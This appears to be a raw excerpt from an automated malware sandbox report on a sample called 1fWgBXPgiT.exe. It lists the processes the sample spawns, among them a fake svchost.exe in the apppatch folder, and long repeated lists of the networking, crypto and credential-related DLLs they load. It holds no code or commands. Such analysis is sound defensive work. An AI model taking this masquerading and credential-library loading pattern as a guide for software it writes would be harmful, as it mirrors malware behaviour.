    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeFile read: C:\Users\user\Desktop\1fWgBXPgiT.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\1fWgBXPgiT.exe "C:\Users\user\Desktop\1fWgBXPgiT.exe"
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeProcess created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6644 -s 744
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6400 -s 968
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 744
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7104 -s 832
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeProcess created: C:\Windows\apppatch\svchost.exe "C:\Windows\apppatch\svchost.exe"Jump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: inetcomm.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: msoert2.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: oleacc.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: inetres.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: vmhgfs.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: netapi32.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: samcli.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: mpclient.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: version.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: firewallapi.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: fwbase.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: fwpolicyiomgr.dllJump to behavior
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: inetcomm.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: msoert2.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: oleacc.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: inetres.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: vmhgfs.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: netapi32.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: samcli.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: mpclient.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: firewallapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: fwbase.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: fwpolicyiomgr.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: winscard.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: sensapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: wininet.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: ntmarta.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: winnsi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: schannel.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: ntasn1.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: dpapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: ncrypt.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: winsta.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: napinsp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: pnrpnsp.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: wshbth.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: nlaapi.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: winrnr.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: symsrv.dllJump to behavior
    Source: C:\Windows\apppatch\svchost.exeSection loaded: samlib.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winnsi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: schannel.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mskeyprotect.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ntasn1.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dpapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ncrypt.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ncryptsslp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winnsi.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: urlmon.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: srvcli.dllJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: samcli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netutils.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dnsapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wininet.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: windows.storage.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: wldp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sspicli.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iertutil.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: profapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winhttp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: mswsock.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: winscard.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: devobj.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: sensapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: dbghelp.dll
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeSection loaded: netapi32.dll
